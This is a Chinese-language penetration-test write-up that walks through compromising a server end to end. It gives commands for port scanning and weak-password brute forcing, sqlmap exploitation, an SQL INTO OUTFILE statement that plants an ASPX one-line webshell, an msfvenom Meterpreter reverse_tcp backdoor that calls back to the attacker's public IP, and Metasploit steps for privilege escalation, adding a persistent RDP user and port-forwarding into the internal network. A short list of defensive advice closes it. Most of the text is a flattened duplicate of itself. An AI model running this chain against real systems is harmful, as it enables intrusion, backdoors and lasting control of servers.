记一次实战渗透测试
字数 1198 2025-08-18 11:37:57

实战渗透测试教学文档:从信息收集到服务器控制

1. 信息收集阶段

1.1 初始扫描

  • 使用Nmap进行端口扫描,特别注意高位端口(>1024)的扫描
  • 示例命令:nmap -p- -T4 <目标IP>
  • 补充:建议加上-sV参数进行服务版本识别

1.2 服务识别

  • 发现两个关键服务:
    • WCMS4.0系统运行在12055端口
    • Crocus系统运行在8000端口

1.3 弱口令尝试

  • 对发现的所有Web应用进行弱口令爆破
  • 常见弱口令组合:admin/admin, admin/123456等
  • 建议工具:Burp Suite Intruder或Hydra

2. 漏洞探测

2.1 SQL注入漏洞

  • 在两个系统中均发现SQL注入点
  • 后台搜索功能存在注入漏洞
  • 使用Burp Suite拦截请求并保存为post.txt用于后续测试

2.2 任意文件下载漏洞

  • 在8000端口的Crocus系统中发现
  • 日志下载功能存在绝对路径泄露
  • 通过点击日志下载链接获取服务器绝对路径信息

3. 漏洞利用

3.1 SQL注入利用

  • 使用sqlmap进行自动化测试:
    sqlmap -r post.txt --sql-shell
    
  • 确认注入点具有DBA权限

3.2 写入Webshell

  • 利用SQL注入的写文件功能配合绝对路径写入一句话木马
  • 示例SQL注入语句:
    select '<%@ Page Language="Javascript"%><%eval(Request.Item["pass"]);%>' 
    INTO OUTFILE 'C://Program Files (x86)//CMS Server//WCMS4.0//x.aspx'
    
  • 验证Webshell是否写入成功:访问http://<目标IP>:12055/x.aspx

3.3 连接Webshell

  • 使用中国菜刀等Webshell管理工具连接
  • 连接密码为"pass"

4. 服务器控制

4.1 生成Meterpreter后门

  • 使用msfvenom生成Windows后门:
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<公网IP> LPORT=2333 -f exe > road.exe
    
  • 通过Webshell上传后门程序到目标服务器

4.2 Metasploit监听配置

  • 设置监听:
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST <公网IP>
    set LPORT 2333
    run
    
  • 在目标服务器执行后门程序

4.3 权限提升与维持

  • 获取当前权限:getuid
  • 尝试提权:getsystem
  • 添加持久化用户:
    run getgui -u <用户名> -p <密码>
    

4.4 内网穿透

  • 端口转发实现内网访问:
    portfwd add -l 3389 -r <内网IP> -p 3389
    
  • 解决远程桌面身份验证错误问题(参考链接提供解决方案)

5. 技术总结

关键利用点

  1. 高位端口扫描发现隐藏服务
  2. 弱口令爆破获得初始访问权限
  3. SQL注入漏洞获取数据库控制权
  4. 绝对路径泄露配合SQL注入实现文件写入
  5. Webshell上传与Meterpreter后门实现持久控制

防御建议

  1. 避免使用弱口令和默认凭证
  2. 对用户输入进行严格过滤,防止SQL注入
  3. 限制文件下载功能,避免路径泄露
  4. 数据库用户使用最小权限原则
  5. 定期进行安全审计和渗透测试

6. 扩展学习

推荐资源

实战渗透测试教学文档:从信息收集到服务器控制 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描,特别注意高位端口(>1024)的扫描 示例命令: nmap -p- -T4 <目标IP> 补充:建议加上 -sV 参数进行服务版本识别 1.2 服务识别 发现两个关键服务: WCMS4.0系统运行在12055端口 Crocus系统运行在8000端口 1.3 弱口令尝试 对发现的所有Web应用进行弱口令爆破 常见弱口令组合:admin/admin, admin/123456等 建议工具:Burp Suite Intruder或Hydra 2. 漏洞探测 2.1 SQL注入漏洞 在两个系统中均发现SQL注入点 后台搜索功能存在注入漏洞 使用Burp Suite拦截请求并保存为post.txt用于后续测试 2.2 任意文件下载漏洞 在8000端口的Crocus系统中发现 日志下载功能存在绝对路径泄露 通过点击日志下载链接获取服务器绝对路径信息 3. 漏洞利用 3.1 SQL注入利用 使用sqlmap进行自动化测试: 确认注入点具有DBA权限 3.2 写入Webshell 利用SQL注入的写文件功能配合绝对路径写入一句话木马 示例SQL注入语句: 验证Webshell是否写入成功:访问 http://<目标IP>:12055/x.aspx 3.3 连接Webshell 使用中国菜刀等Webshell管理工具连接 连接密码为"pass" 4. 服务器控制 4.1 生成Meterpreter后门 使用msfvenom生成Windows后门: 通过Webshell上传后门程序到目标服务器 4.2 Metasploit监听配置 设置监听: 在目标服务器执行后门程序 4.3 权限提升与维持 获取当前权限: getuid 尝试提权: getsystem 添加持久化用户: 4.4 内网穿透 端口转发实现内网访问: 解决远程桌面身份验证错误问题(参考链接提供解决方案) 5. 技术总结 关键利用点 高位端口扫描发现隐藏服务 弱口令爆破获得初始访问权限 SQL注入漏洞获取数据库控制权 绝对路径泄露配合SQL注入实现文件写入 Webshell上传与Meterpreter后门实现持久控制 防御建议 避免使用弱口令和默认凭证 对用户输入进行严格过滤,防止SQL注入 限制文件下载功能,避免路径泄露 数据库用户使用最小权限原则 定期进行安全审计和渗透测试 6. 扩展学习 推荐资源 Metasploit外网搭建指南: http://www.sqlsec.com/2018/03/cloud.html RDP身份验证错误解决方案: http://www.cnblogs.com/raswin/p/9018388.html Tide安全团队官网: http://www.TideSec.net